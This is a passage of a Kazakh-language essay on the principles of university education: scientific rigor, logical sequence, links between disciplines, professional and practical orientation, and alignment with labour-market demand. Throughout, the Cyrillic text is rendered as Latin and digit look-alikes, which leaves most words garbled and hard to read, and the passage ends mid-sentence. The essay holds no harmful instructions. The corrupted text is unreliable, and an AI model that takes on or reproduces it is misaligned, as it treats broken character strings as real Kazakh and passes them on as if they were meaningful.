KapanalbiMHaH KypAenire Kapan Kypblaybl TWIC, 3epTTey 94iCTepiH KOMA4aHy — OKyLblnapablH,
FbIbIMMU-3epTTeY AafablNapblH AaMbITy MaKcaTblHAQ TaxKipnbenik, 3epTxaHalblK KYMbICTap
YMbIMAACTbIPbINYbl  KaXKEeT, WMHTePAUCUMNAMHAPALIK DalnaHbic — Typai NaHAep apacbiHAafbI
NIOTMKaNbIK BalnaHbIiCTapAbl KOPCETY apKbl/bl OKYLLbIAAPAbIH, BiniMiH KelleHai AambITy. 3amaHayu
aKnapaTtTbl NaraanaHy — OKy MaTepuangapbl ecKkipreH AepeKkTepre emec, »KaHa 3epTtreynepre
Herizgenyi KepeKk. HakTbl aepektep meH dakTinepre cymeHy — TeKCepinreH fbiabiMK Teopusanap
MEH A2NeNAeHreH 3KCNEePUMEHTTIK HITMXKenepre »yriHy KaxeT. fblabiMy TingiH AypbICTblfbl —
OKbITYAa fblIbIMW TEPMUHONOTMAHBI AYPbIC KONAAHY OHE OHbl OKYLUblAAPFa TYCIHIKTI eTin XeTKizy
MaHbI3bl. ©3EKTiNIKTI caKTay — Fbl/IbIM YHEMI AaMbIN OTbIPaTbIHABIKTAH, OKY Oafdap/iamachl }KaHa
allbly1ap MeH TEXHONOMMASIK ©3repicTepdi eckepyi TMic. anraH FbiibiM MeH mubTepaeH apblay
— FbI/IbIMM HETi3i }OK TYXKbIpbIMAAP MEH KaTe aknapatTapAbl OKbITy[AaH Wblfapy KaxeT. Fblabimu
[lepeKTepre cyleHy — OKylWblaapfa YCbiHbINATbIH 6apblk aknapat beaenai fblabiMu 3epTTeynep
MEH LWbIHAMbl [AepeKkKe3aepAeH asblHybl KepeK. IJKCNepUMEHTTIK AanengepmeH bOekity —
TEOPUANBIK  MaTepuandbl 3epTXaHasblK KYMbICTap, MPaKTUKanblK Taxipubenep Hemece
MOZENbAEY apKblbl AdNenaey Manbi3abl. Teopuanbik Herisaeme — apbip folnbiMKn GaKT Benrini
bip 3aHAbINbIKTapfa Hemece TeOopUANbIK TYXblpbiMAapfa Cokec OONybl KaxeT. KpUTWMKanbIk,
onnayabl AaMbITy — OKyLbl1apFa OepinreH aknapaTtTbiH, CeHIMAINITIH Bafanayabl, AepeKkKke3aepai
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Tangayabl ympeTy. CTaTUCTUMKANbIK KOHE MaTeMaTUKa/blK Ad1ennep — fbinbiMaa AepeKkTepai
Aanenney ywiH CaHApblK KepCeTKilTep MeH CTaTUCTUKA/IbIK Tanaay SA4iCTePiH KONAAHY KaxeT.

JlornKkanbiK KyneninikTi caktay ywiH: KapanalblIMHaH KypAenire Ty — OKy maTtepuainsi
HacTankblaa Heri3ri yrbiIMaap MeH Kapananbim TYCiHiKTepaeH BacTanbin, KeniH Kypaeni Teopuanap
MeH MPaKTUKabIK KOAJaHYyFa yiacybl Kepek. binimHiH cabakTacTbifbl — 9pbip KaHa TakbipbIn
BypbIHFbl anbiHFaH binimre cyieHyi, onapmeH 6alnaHbicta 6onybl Tuic. OKyLbLNAPAbIH, Kac
epekllenikTepiH eckepy — 6acTayblll CbIHbINTAPAA KOPHEKINIK NeH oMbiH aaicTepi backim Honca,
KOFapbl CbIHbINTAapPAa aHANMTUKAbIK KoHe 3epTTeywWinik Tacinaep KOoNAaHblAybl KaxKeT.
JlornKkanslk, HannaHbICTapAbl cakTay — MaTepuangap MeH TakblpbinTap e3apa 6alnaHbICThl,
KMCbIHAbI peTneH Oepinyi Thic. TYCIHIKTINIK neH yMeninik — aknapaT TbiM KypAeni Hemece
XaoTUKa/bIK Bepinmeyi Kepek, antrnece okyLblIapabiH 6inimai meHrepyi KMbiHAAMAbI.

NHTepAMCUMNAMHAPAbIK OainaHbICTbl KamTamacbl3 eTy yuwiH: [laHAep apacbiHAAfbI
YKCACTbIKTap MeH OainaHbiCTapAbl KepceTy — OKyWblnap ap TypAai fblbIMAAPAbIH, ©63apa
HannaHbICbIH TYCiHYi Kepek. KelleHai kobanap meH Tancbipmanap YnbiMmaacTblipy — bipHelle naHA;
KaMTUTbIH 3epTTey KYMbICTapblH HEMEeCe NPAKTUKaNbIK Kobanapabl eHridy. [NaHapanblk cabakTap
BTKi3y — Mbicanbl, Hip TaKbIpbINTbl OMONOMMA, XMMUA KaHe PU3MKA TYPFbICbIHAH Tanaay. HakTbl
emipmeH 0alNaHbICTbIPY — FblNbIMAAPAbIH, ©3apa OalNaHbICbiH KYHAENIKTI emipae KonaaHy
apKblabl KepceTy. OpTypAi cananapfa KONAaHy — MaTemMaTuka, ¢ou3MKa, buonorma aHe
TEXHONOTMA CUAKTbI cananapabl 6ipikTipe oTbIpbIMn, KeleHai 6inim 6epy.

Kacibunik npuHumni — 6inim bepy bargapnamanapbl bonallak MamaHOapablH, Kaciou
[anapnblFblHa BafFbiTTanybl KaxkeT.Kacibuaik NpuHUMNIH iCKe acblipy Kongapbl: [MpaKkTUKaNbIK,
nafablnapfa bacbiMapblk bepy — CTyAeHTTEpP TeK TEOPUAHbBI MeHrepin KaHa KOMMai, COHbIMEH KaTap
HaKTbl }KYMbIC NPOLLECIH, TEXHMKA MEH TEXHONOTMAHBI YMPeHYi Kepek. MamaHabIKKa cart naHaep
eHrisy — binim bepy bargapnamacsl benrini 6ip MamaHAbIKTbIH, epeKLlenikTepiHe calkec naHaep
MeH [Jafablnapapl KamTybl Tuic. Kacibu Taxkipnbe MeH CTa)KMpoBKanap — OKy OapbiCbiHAA
CTYAEHTTepre  Toaxipubenik  »KyMbICTap  MeH  CTaXkKMpPOBKanap  yMbIMAACTbIPY,  HaKTbl
KacinmopblHAap4a KyMbic icTen, binimaepiH Taxipnode KysiHae KongaHyFa MyMKiHA K 6epy. Kacibu
KY3bIPeTTiNiKTepai AambITy — CTyAeHTTepre TeK TexHWKanblk OiniMm emec, COHbIMeH KaTap
KOMMYHWKaTUBTI, INAEPAiK, Dackapy »aHe wellim Kabblnaay AafablnapbiH AaMbITyFa KeHin 6eny.
Hapblik TanabbiHa cal 6inim bepy — 6inim 6epy baraapnamanapbl eHOEK HaPbIFbIHbIH TananTapbiHa
COMKEeC »KaHapTbi/bIM, MaMaHAbIKTbIH ©3eKTi Macenenepi MeH »aHa TeXHO/IorMaAnapbl eckepinyi
THic. MamaHabikKka 6aliiaHbICTbl cepTUdMKaTTap MeH KypcTap — MamaHapblk 60MbIHLLG KOCbIMLLIA
cepTUPUKaTTap MeH Kacibu KypcTap eTKi3y, bya cTyaeHTTepaiH, MamaHablK 60MblHLA TepeHipek
6inim anybiHa KemekTecedi. MeanumHa: meanUMHaNblK YHUBEPCUTETTEPAE TEK TEOPUANDLIK Binim
bepymeH LeKTeNMel, CTyAeHTTepre aypyxaHanapZa MpaKTMKa Kacay, HaKTbl NaumeHTTepMeH
KYMbIC icTey MyMKiHAir Bepinyi Tvic. MHKeHepua: nHxeHepnik 6inim 6epy Hafaapnamanapbl
OHAIPICTIK Taxipnbe MeH HaKTbl »Kobanap apKblibl Ky3ere acblpblaybl Kepek. AKNapaTTbiK
TeXHONOIMANap: CTyAeHTTepre Oafgapnamanay, Kyhe aKIMLWINIr CUAKTbl HaKTbl Aafabliapabl
nrepy YLWiH ctaptantapaa, |T KomnaHuanapaa »Kymbic icTey MyMKiHAIr 6epinyi Kepek.

MpaKTuKanblK gafaplnapra 6acbimaplk 6epy — 6inim 6epy KyheciHae Teopusbik Binimai
HaKTbl TaxipnbemeH HGannaHbICTbIPY, CTYAEeHTTEPAl Donallak mMamaHablKTapbl OOMbIHLIA HAKTbI
KYMbIC [afAblNapbIMEH KaMTaMacbl3 €Ty KaxKeTTiniri. byn npuHumn 6onaliak MamaHHbIH Kacibn
eMipiHe AaMblHAbBIKTbI YKaKCapTyFa KemeKTeceni, eMTKeHi MpaKkTUKanblK Aafabliap TeopuaZaH
aNAeKanaa Manbi3apl 60Nybl MYMKIH, acipece HaKTbl XKYMbIC OPHbIHAA.

MpaKTUKaNbIK AaFablnapabl AambITy Kongapbl: CTaxKMPOBKa KaHe eHAIPICTIK Taxipnbe —
OKy OafdapnamanapbiHblH, Oip 6Oeniri peTiHAe KacinopblHAAp4a, Mekemenepae Hemece
3epTxaHanapaa Taxipnbe XuHakTay. byn cTygeHTTepre MamaHAbIKTbIH, KYHAENIKTI KymMbIC
npoueciHe YHinyre MymKiHAiK 6epeai. MpaKTUKanbIK Tancbipmanap MeH Kobanap — OKbITyLWblAap
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CTYAEHTTepre HakTbl obanapabl OpblHAAYAb! YCbIHA OTbIPbIN, ONAPAbIH TEOPUANBIK BinimaepiH
Toxipmbe Ky3iHae Tekcepyre MyMKiHAIK Bepei. bya 3epTTey »KymbicTapbiHaH HacTan, eHAaipicTikK
Tancblpmanapfa AeniH 60aybl MyMKiH. Kacibn OKbITY Kypangapbl MeH TeXHOAOrnsnap — OKy
opblHAApbIHAA BonawakK MaMaHAapAblH, XYMbICbIHAA KONAAHbINATbIH TEXHUKANbIK, Kypanaapabl,
Hafaoapnamanblk KacakTaMaHbl XXaHe TEXHONOrMANAPAbl NardanaHyfa MyMKiHAIK 6epy. Mbicanbl,
WHXXEHepMa CTyAEeHTTepi YIWiH apHalbl 3epTXxaHanblK Kypan-xKabaplktap Hemece bafaapnamanay
KypcTapbl. KongaHbanbl 3epTreynep — CTyAEHTTEPre fbl/IbIMU-3EPTTEY KYMbICTAPbIH »Ky3ere
acblpyfa MyMKIHAIK 6epy. MyHaam »KymbicTap KebiHece HaKTbl 9/1eYMETTIK HeMece OHAIPICTiK
Mmacesienepai wewyre HarbiTTanaabl. Taxipnbenik cabaktap MeH CUMMYAAUMANAP — HAKTbl ©Mip
KafOamnapblHa yYKCac »Kafdalnapda AafablNapdbl AaMbITy YWiH CUMMYAAUMANap MeH pPengik
OMbIHAAP  YMAbIMAACTbIPY. Mbicanbl, MeAMUMHA CanacblHA4a  CTyAeHTTepre  BMPTyanabl
NauMeHTTEPMEH XKYMbIC icTeyre MyMKiHAIK 6epy. Kacibu cTaHoapTTap mMeH 3TUKaHbl yrpeTy —
CTyAEeHTTepre MaMaH/AblKKa KaTbICTbl KSCIOW CTaHAAPTTAap MEH STUKAHbI eHri3y. byn onapabl HaKTbl
KYMbIC OpTacblHAA Ke3AeceTiH KWbIHAbIKTAp MeH Macenenepre fAabiH eTedi. MeguumHa:
MeOVLMHAMbIK YHUBEPCUTETTEPAE TEOPUAHBI FaHa emec, NaUMEeHTTEPMEH XYMbIC icTeyai, Aapi-
[OpPMeEKTepAI KONAaHyAbl, XMPYPrUANbIK SAicTepAi MeHrepydi ae okbITy. MHPopmaTuKka: IT
MamaHAapblHa HaKTbl BafrdapiamanbiK obanapapl »acay apKblabl bafgapnamanay, Kymenik
SKIMWINIK, KMbepKrayinci3aik AafabliapbiH YApeTy. VH»XeHepua: KYPbIabIC MHKeHepaepi Kypblabic
anaHaapbliHAA XKYMbIC iCTel OTbIpbIN, KYPbIIbIC MaTepManAapbiH KONAAHY, KypblabiC *obanapbiH
acay CMAKTbl HaKTbl Aafablnapabl ypeHeni. KykplK: 3aHrepnik oky 6OafaapiaamanapbiHaa
CTYAEHTTEp COT MPOLECCTEPIH KaHe KYKbIKTbIK KeHec bepy CUMAKTbI NPaKkTUKaANbIK Aafablnapabl
MeHrepea,.

MamaHAbIKKa cail naHaep eHrizy — 6inim 6epy HafaapaamacbiHbiH 6acTbl KaFuAaTTapbIHbIH,
6ipi 6onbin Tabblnagbl. byn npuHUMN HoOMbIHWAE 2pOIP MamMaHAbIKTbIH, epeKleniktepi meH
TananTapblHa CaMKeC apHalbl NaHAep oKy OaFgapaamachkiHa eHrisinyi Tmic, byn cTyaeHTTepaiH 63
MaMaHAbIFbIHA KAXKeTTi TepeH KaHe HaKTbl Oinim anyblHa KemekTecedi. MaMaHAObIKTbIH,
epeKLlenikTepiHe calikec naHaep TaHAay — oKy Oaraapnamanapbl 6enrini 6ip canaHbiH, Kacibu
TananTapblHa COMKeC NaHAEPMEH TOAbIKTbIPbINYbI KepeK. byn naHaep Honawak MaMaHAApAbIH,
KYMbICbIHAA MaHbI34bl OPbIH anaTblH TEOPUANbLIK KIHE MPaKTUKANbIK BiNimai KamTybl Tuic.
AKTYanapiNblK *KaHe KaHalWbINAbIK — MaMaHAbIKTbIH KaHa 6afbITTapbl MEH XKETICTIKTepiHe Caltkec
noHAep eHrisinyi kepek. MbiCanbl, aKNapaTTblK TEXHONOIMANAP MEH WHXXEHepuAa canacblHAA
¥KacaHabl MHTENNEKT Hemece POOOTOTEXHMKA CMAKTbI 3aMaHaym NaHAEP KOCbINYbl MYMKiH. Kacibn
KY3bIPETTINIKTEPAI AaMbITy — NoHAEp CTYAEHTTepAiH MaMaHAbIKKa KaTbICTbl Heri3ri Aafabliapabl
MeHrepyiHe GafbiTTanybl  TWic. Mbicanbl, 3aHrepnik 6Hardapnamanapfa KyKblK — Kopfay
OopraHAapblHA@ KYMbIC iCTey YWiH KaxkeTTi naHAep, MeauumHa 6OafaapnamanapbiHaa
NauMeHTTEPMEH YMbIC iCcTeyre KaTbICTbl NaHAep eHrisineai. loHapanblk OalnaHbicTap —
MamaHAblKKa 6alnaHbICTbl NaHAEP apacbiHAa e3apa bannaHbic OpPHATY, oNapabl KeweHai Typae
OKbITY. MbIcanbl, MmeaMUMHaAa aHaToOMKUA, puanonorma, buoxmmmsa naHaepi 6ip-bipimeH TbiFbI3
H6annaHbicTa 60AYbl KaXKeT. [paKTUKaAbIK DaFbITTbI/IbIK — OKY NaHAEPI TEK TEOPUANbIK BinimmeH
faHa WeKTeNIMeN, HaKTbl XXyMbIC DapbICbiHAA KONAAHbINATbIH AaFAblNapFa Aa OaFbITTanybl Kepek.
By npakTuKanbik NaHAEPAi eHTi3Y apKbl/bl XKy3ere acbipbliaabl. MeanuyHa: meamunHanbik 6inim
bepy bargapnamacbiHaa 6buonorva, aHaTomumsa, Gapmakonorusa, natoaorMa CUAKTbl MaHAep
eHrisineni, onap pgapirepnepdiH Kacibu Kbi3MeTiHAE MaHbI3abl OpbiH anadbl. WVHXeHepus:
WHXXeHepnik Oaffoapnamanapia MexaHWKa, MaTepuanTaHy, KypblabiC TEXHMKAcbl, 3Heprua
Kynenepi }aHe KOMNbloTePiK Kobanay CUAKTbI NaHAEP OKbITblNaAbl. KyKbIK: 3aHrepnik binimae
a3aMaTTbIK KYKbIK, KbIZIMBICTbIK KYKbIK, Xa/bIKapablK KYKbIK aHEe COT iCiH XKYPri3y CUAKTbI apHaWbl
naH4ep KamTblnadbl. BU3HeC »KoHe 3KOHOMMKKA: MApPKEeTUHI, KapKbl, SKOHOMWKA TEOPUACHI,
cTpaTermansik Hackapy cMAKTbI NaHAep bonalak Kacinkepnep MeH MeHeaxepaep yWiH MaHbI34bl.
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AKNapaTTblK ~ TexHonorusnap: Oafgapnamanay  Tingepi, JepekTep  KopblH  Hackapy,
KnbepKayincisaik, *eninik TeEXHONornsa1ap CUAKTbI NaHAEP eHrisineq,.

Kacibun Taxipnbe meH cTaxumposKkanap — b6inim bepy baraapiamachiHbIH MaHbI3abl 66AiriH
Kypalapbl, 6UTKEHi 0f1lap CTyAeHTTepre TeopusasblK OifiMaepiH HaKTbl KYMbIC KafdannapbiHaa
Ko/ AaHyFa MyMKiHAK Bepeai. byn Taxipnbe 6onawak mamaHaapabl eHbeK HapblfbiHa AalbiHAaM,
onapAblH, Kacibu AafablNapbiH WbIHAAYFa KemekTeceai. Teopua MeH NpakTUKaHbiH BannaHbiCbl —
CTYAEHTTEP TEOPMUANBIK BiNiMaepiH HaKTbl HAIPICTIK HeMece Kacibun opTaaa KoaAdaHa OTbIPbIM, CON
HiniMHIH, KaHWaNbIKTbl TMIMAj »KaHe KondaHyfa 6onaTbiHAbIFbIH TyCiHeai. Kacibun aafablnapap
MeHrepy — CTaKMpPOBKafap KesiHae CTYAeHTTEep ©3 cafacblHAAFbl HAaKTbl Aafablnapabl yipeHea,,
MbICasibl, MEANLIMHANBIK MaMaH YLLIiIH AMarHO3 KOO, MHMKEHEeP YLWiH KYPblbIC }obanapbiH a3ipaey
CUAKTbI HAKTbl KaCibM KblameTTepre Katbicy. EHOeK HapblfbiHa AalbiHAQY — Kacibu Taxipnbe meH
CTa*KMPOBKanap CTyAeHTTepre ©3 canacbiHAa XYMbIC iCTEyre KaxKeTTi MpaKTUKabIK Adafablnapabl
bepeni, Oyn onapabl *KYMbICKA OPHaNacTblipy KesiHAe Y/IKeH apTblKWbIAbIKKA ne etesi. Mymbic
OpHbIHAAfbl  MaAeHMeTKe benimaeny — CTYAEHTTEP KYMbIC OpPHbIHAA KOMMYHMKaLUMA,
ayankepuwinik, yakbiTTbl Hackapy, KOMaHAa[a KYMbIC iCTey CUSAKTbl 2/1eyMETTIK KaHe Kacibu
nafaplnapabl AambiTyFa MYMKIHAIK anaapl. *Mymbic OepyluinepmeH 6alinaHbic — CTaXKMPOBKa
HapbicbiHAa CTyAeHTTep e3aepiHiH Honaliak *Kymbic OepyllinepiMeH TaHbICbIN, Onap YLWiH
nanaanbl Kacibu skeni Kypaabl. By KeMiHri )yMbICKa opHaaacya KemekLli ¢pakTop 60aybl MyMKiH.
OHAIpicTIK Taxipnbe — CTyaeHTTep OKY OpPbIHAAPbIHbIH, CEPIKTEC KacCinopbiHAapbiHAa Hemece
MeKemMenepiHae MYMbIC iCTel OTbIpbIN, 6HAIPICTIK NpoLecTePMeH TaHbicadpl. KAMHUKaAbIK
ToXipnbe — meanuUMHa canacbiHaa CTyAeHTTEP aypyxaHanapa, eMxaHanapaa naumeHTTepmeH
KYMbIC icTen, Taxipnbe KMHaKTanabl. FbinbiMm Taxipnbe — fbiAbiIMW 3epTxaHanapia Hemece
3epTTey WMHCTUTYTTapblHAA MKYMbIC iCTey, fblnbiMM Xobanapfa KaTbiCy. OKIMLLIINIK Taxipnbe —
OU3HEC KOHE KYKbIK canacblHAa CTyaeHTTep Hackapy, 3aHrephnik keHec bepy Hemece b6acka Aa
SKIMWINIK  MiHAETTEepMeH TaHbicagpl. MeauuuHa: MeauuMHanblK  GaKyAbTeT CTyAeHTTepi
aypyxaHanapaa Hemece emxaHanapza ToxipnbeneH oTin, HayKacTapfa KeMeK KepceTy,
LMArHoCTMKa Kacay, emaey npouectepiH 6akblnanabl. VIHXeHepusa: MHKeHepAiKk MaMaHabIKTap
HoMbIHWA CTYAEHTTEP KYPbINbIC anaHAapbiHAa HEMECE WHMKEeHEep/iK KOMNaHuAnapAa KymbIC
icTen, HaKTbl Kobanapfa KaTbiCaZlbl, KypbIAbIC TEXHWKANapbl MeH Kypan-abablKTapbiH
KonaaHaabl. KyKblK: 3aHrepsik Oinim anfaH CcTygeHTTep 3aH KeHcenepiHge Hemece coT
opraHZapbiHAA KYMbIC iCTEM, KYKbIKTbIK Ky»KaTTapAbl AalbiHAay, COT MpoLeccTepiHe KaTbicy
CUAKTbI XYMbICTapAbl OpbiHAAMAbI. AKNapaTTbikK TexHosnornanap: IT mamaHaap e3 TaxipubeciH
barnapnamanay, *Kymenik sKiMmLinik eTy, KnbepKayinciagik cananapbiHaa »Ky3ere acbipapl.

Kocibn Ky3blpeTTiniktepai AambiTy — Byn CcTyaeHTTepAai Tek TeopusasbiK HinimmeH faHa
eMeC, COHbIMEH KaTap O/1apAblH 63 MaMaH/AblKTapbl OOMbIHWA HaKTbl Aafdbliap MeH
KabineTrepmeH KamTamachi3 eTy npoueci. byn npouecc 6onalwak mamaHaapAbliH, ©3 canacbiHaa
TabbICTbl KYMbIC iCTEM aflyblH KamTamacbl3 eTedi »aHe eHbeK HapblfbiHaa 6acekere KabinetTi
bonyra MyMKiHAIK Oepeai. Koacibu 6inim KoHe pafdblnapdbl MeHrepy — CTyAeHTTep o3
MaMaHAbIKTapblHa KaxKeTTi Herisri 6inim meH garabinapibl MeHrepyi Tuic. byn naHaep meH
apHalbl KypcTap apKblibl »Ky3ere acbipbliafbl. KapbiM-KaTbiHAC KOHE KOMaHAa[4a KYMbIC iCTel
6iny — Kasipri eHbeK HapblfblHAA KOMMYHMKATUBTIK Aafabl1ap MeH KOMaHaaAa TUIMAI XKYMbIC icTey
KabineTi maHbi3abl 606N Tabblnagsl. OKyLbINAPAbIH 63 MiKipiH AypbIC KeTKi3e binyi »kaHe bacKa
agamaapmeH TUIMAI bIHTbIMAKTaCcTbIKTa Boybl KaxkeT. Hocnapnay xaHe backapy Aafablaapbl —
VaKbITTbl TMiMAi Backapy, *KYMbIC MPOLECTEpPIH »ocnapaay »KaHe backapy Kabinettepi Kacibu
Ky3blpeTTifikke Kipeai. OKylblnapFa Kobanblk 6ackapy *KaHe yaKbITTbl ¥Kocnapaay AafabliapbiH
yrpeTy MmaHbi3abl. Lewim Kabbinaay KaHe npobnemanapbl Welly — Ke3 KesreH kacibu canaga
Aypbic Wewim Kabbinga 6iny KaHe KWbIHAbIKTapAbl TWiMAI wewy KabineTi aca MaHbI3abl.
OKyLLblNapAbl HaKTbl KafdannapAa NOrMKanblK OMNay MeH Lellim Kabblnaayabl YMpeTy KaxKer.
DTUKANbIK KoHE KaCcibu CTaHAapTTapfFa COMKECTIK — MaMaH/bIKTbIH, 3TUKabIK HOPMaiapbl MeH
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KaCibw CTaHAApTTapblH CaKTayAbl YMpeTy. by Ky3blpeTTinik MamaHHbIH, Kacibu canacbiHAa adan
9pi KayankepLlinikneH XymbiCc icTeyre OafrbiTTanfaH. MHHOBaUMS »KoHe LWblFapmallbliblK —
CTYAEHTTEpre »aHa uaeanapabl YCbiHy, WblFapMallblNblK TYPFblAaH Wewimaep Kabbingay »KaHe
MHHOBALMANBIK TaCinAepAi KON4aHy AafAblNapblH AaMbITy. TeXHMKaNbIK Ky3bIPeTTiNiK — HaKTbl
MamaHAbIKKa 6alMnaHbICTbl FblbIMM HEMECE NPaKTUKabIK binimaep. Mbicanbl, MHXeHepaep yLWiH
KYPbINbIC TEXHUKAChI, MeAMLMHA MaMaHZapbl YWiH AMArHO3 KOK, aknapaTTblK TEXHOA0rMANAP
MamaHaapbl ywiH 6afgapnamanay KoHe Kyhe aKiMLWINiri. 91eymeTTiK Ky3blpeTTiik — Hacka
afamMaapMeH MKYMbIC icTel Biny, KOMMYHUKALMA XKIHE VXKbIMAbIK KYMbICTa TuiMmai 6ony. byn
AafablNapAblH apacbiHAa KAMEHTTEPMEH HEMeCe KOMaHAaMeH XyYMbIC icTey, Kenicneywinikrepai
WeLly »aHe bIHTbIMAKTACTbIK Kypy Oap. Kewbacwbinblk XaHe Hackapy Ky3blpeTTiairi — TonTbl
backapy, wewim Kabblngay, »KYMbIC NPOLECTEPIH YMbIMAACTbIPY, agamaapabl MOTMBAUMANaAY.
CaHAbIK KY3bIpeTTiNiK — Kasipri anemae undpabik TEXHOAOTMANAPAb!I KONJAHY, AepeKTepai Tanaay,
barnapnamanay, MHTEPHETTEr aknapaTtneH »ymbic icTey. Kacibu aTMka — »KymbiC OapbiCbiHAA
afanaplk, *KayankepLuinik, kacibu webepnik kaHe afamHbIH Kacibn miHaeTTepiH opbiHAan biny.
MeauumHa: MmeanuUmHanbiK KbI3METKEPAiH KaCibM Ky3bIpeTTiairiHe nauyuMeHTneH AypbiC KapbiM-
KaTblHAC acay, AMArHO3 KOK KaHe emAey S4iCTepiH TaH4ay Jafablnapbl Kipeni. MHXeHepua:
WHXXEHepaep YLWIiH KypblabiC CTaHAapTTapbiH 6iny, kobanay 6afmapnamanapblH  KOAAAHY,
KYPbINbIC anaHblHAA TUIMAI }KYMbIC iCTeY CUAKTbI KY3bIPeTTiNIKTEeP MaHbI3abl. KyKbIK: 3aHrepnepain,
KY3bIPETTiNiriHe KyKbIKTbIK KY*KaTTapbl AYPbIC 33ipaey, KAMeHTNeH Aypbic 6aitnaHbIC OpHaTy, COT
npoueciHae TUIMAI celney Aafablnapbl KaTadbl. AKNApaTTblK TexHonoruanap: bafgapnamanay,
XYMeniK aKiMLLINIK eTy, KNbepKayinci3aik »KaHe AepeKkTepai KopFay CUAKTLI Aafablnap aknapaTTbliK,
TEXHONOTMANAP CafacbiHAAFbl KaCibM Ky3bipeTTinikKke Kipes,.

HapblK TanabbiHa can 6inim 6epy — by binim bepy bargapiamanapbiHbiH, Kasipri 3amaHfbl
eHOeK HapbIFbIHbIH, KAXKETTINIKTEPIHE COMKEC KaHapTblNnybl MeH benimaenyi. MyHbIH MakcaTbl —
CTYAEHTTEpAi TEK TeOpPUANbIK BiNIMMEH FaHa eMec, COHbIMEH KaTap eHOeK HapblfbiHAA CYPaHbICKa
Me NpPaKTUKaNbIK JafabllapMeH Ae KamTamacbls eTy. byn npuHuuMnTiH, Herisri miH4eTi —
OKYLWbINAPAbl XYMbICKA AaMblHAAY, ONAPAblH, KaXKeTTi Ky3blpeTTiNIKTePiH KaAbINTacTbIpy *KaHe
eHbeK HapblfbiHAa 6acekere kabineTTi 6onyFa MyMKiHAIK 6epy. EHOEK HapbIFbIHbIH, CYpaHbICTapbIH
3epTTey — binim bepy Haraapnamanapbl eHOEK HapblFblHAA Ke34eCeTiH HaKTbl KaXKeTTinikTepre
COMKeC Kypblybl THIC. byn yWiH eHHeK HapbIFbIHAAFbI TPDEHATEP MEH MaMaHAapFa CypaHbIC Typanbl
aknapatTap 3epTrenin, 6inim 6epy baraapnamanapsbl *aHapTbliaybl KaxkeT. KocbiMLLa Aafablnapabl
OAaMbITY — TeK Kacibu OinimmeH LIeKTeAMel, KOMMYHWKATUBTIK, YaKbITTbl ©ackapy,
WbIFAaPMaLUbI/IbIK, M3CeNe Welly KaHe KelwbaclWbINbIK AaFablnapabl 4aMbITyFa KeHin 6eny Kepek.
byn gafablinap *KyMbIC OPHbIHAA MaHbI34bl Pe/ aTKapadbl. "KaHa TEXHONOrMANAPAb! eHri3y — Kasipri
3aMaHaa UMPPAbIK TEXHONOrMANAP, aBTOMATTAHAbIPY XKOHE »KacaHAbl MHTENNEKT CUMAKTbI XKaHa
TexHonorvanap eHbeK HapbliFbiHAA cypaHbicka wue. binim 6epy ©Oarmapnamanapbl  OChbl
TEXHONOTMANAPAbI €CKepIn, 0/1apAbl OKY MPOLECiHe eHridy KarkeT. Ky3blpeTTinikke bafbiTTansaH
oKy — binim Bepy baraapnamanapbl CTYAeHTTEpPAi TEK BiniMMeH KamTamacbl3 eTin KaHa Konmal,
0NapAblH HAaKTbl XKYMbIC OPbIHAAPbIHAA KONAAHbINATbIH AafAblAapAbl MeHrepyiHe MyMKiHAIK 6epyi
Thic. byn nereHimis, OKyliblnapfa NPaKTUKaNbIK Tanceblpmanap, »obanap KaHe Taxipnbenik
cabakTap yCbiHY. Kacibn AanbiHAbIKTbI KYLWENTY — YHUBEPCUTETTEP MEH KOMANe[XAep HaKTbl
YKYMbIC OPHbIHAA Taxipnbe any yWiH CTyAeHTTepre CTa*KMpPOBKanap MeH eHAIPICTiK Taxipnbe
YMbIMAACTbIPYbl KaxKeT. byn cTyaeHTTepre mamaHAplk, 6OMbIHLIA LibIHAWbI KYMbIC LIAPTTAPbIH
TyCiHyre KemekTecesi. AKageMuUanbiK Oinim MmeH Kacibu BiniMmHIH MHTerpaumscel — 6inim Hepy
XyMeci akagemuanbik 6inim meH Kacibu binimai bipnecTipyi Tuic. By yWiH OKy opbiHAAPbI MeH
KoCINOpbIHAAP apacbiHAAFbl  bIHTbIMAKTACTLIKTbl  HbIFAUTY KaxeT. MamMaHZapAablH, KyMbIC
OpbIHAAPbIHAA KAXeTTi Aafaplnapfa me Hoaybl — XKymbic BepywinepaiH Tanantapsl 6inim Hepy
HafapnamacbiHa eHri3inin, OKyLWblNap HaKTbl KYMbIC XKafdalnapbiHa AalbiH 60aynapbl Kepek.
HKYMbIC OpHbI MEH OKY OpbIHAAPbIHbIH, CEPIKTECTIrN — KCINOPbIHAAP MEH OKY OPbIHAAPbLI apacbiHAa
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TMiIMAi cepikTecTik opHaTy, bya CcTydeHTTepre oKy OapbiCbiHAa HaKTbl OHAIPICTIK Tasxkipnbe any
MYMKIiHAITIH 6epeai. MamaHablK 60MbIHIWLA cepTUdMKATTap MeH Kacibu KypcTap — CTyaeHTTepre
KOCbIMLLIA cepTUPUKATTAP MeH Kacibu KypcTap yebiHy. Mbicanbl, bafgapiamanaylisl CTyaeHTTepre
6enrini 6ip barnapnamanay Tingepi 6oMbIHILA CepTUPUKATTAP, 3aHrepsiepre KyKblK canacbiHAafbl
cepTnuduKkatTap bOepinyi MymkiH. |IT canacbl: aknapaTTbiK TEXHOMOMMANAP CaNnacbiHAA MKYMbIC
bepywinep Kazipri yakpiTta bargapnamanay, gepektepai Gackapy, »acaHabl MHTENNEKT KaHe
KnbepKayincisaik cananapblHa MmamaHaaHfaH mamaHgapabl izaenai. CoHablIKTaH OKY OpblHAAPbI
OCbl Cananapfa apHanfaH apHalbl MaHAEP MeH KypcTap edrizeai. MeauumHa: meauuUMHa
canacblHA@ yMbIC Oepylinep KaHa TEeXHONOrMANap MeH JAiCTepAi MeHrepreH, coHaan-ak
KOMMYHWKaLMA Aafabliapbl MeH eaen wellim Kabbingay kabinetiHe ne mamaHaapaps! isgenai.
OKy OpblHAApPbI CTYAEHTTEPre 3aMaHaym MeanUmMHanblK Kypandap MeH afictepai ympeTyre Haszap
ayaapybl Tuic. WHXeHepus: KypbiblIc HEMece 3HepreTMka CcanacbiHaa KYMbIC iCTEMTIH
NHXXeHep/iepre XaHa KypblablC MaTepuangapbiH, SHEPrMA TUIMAINITIH apTTblpy TEXHONOTMANAPbIH
KOHe aBTOMATTaHAbIPY KynenepiH meHrepy KaxkeT. CoHAbIKTaH OKy bafdapnamanapbiHaa OcChbl
TakblpbINTapdbl KaMTUTbIH NaHaep 6onybl  Tuic.eke Tynfara OafbiTTany npuHUMni  —
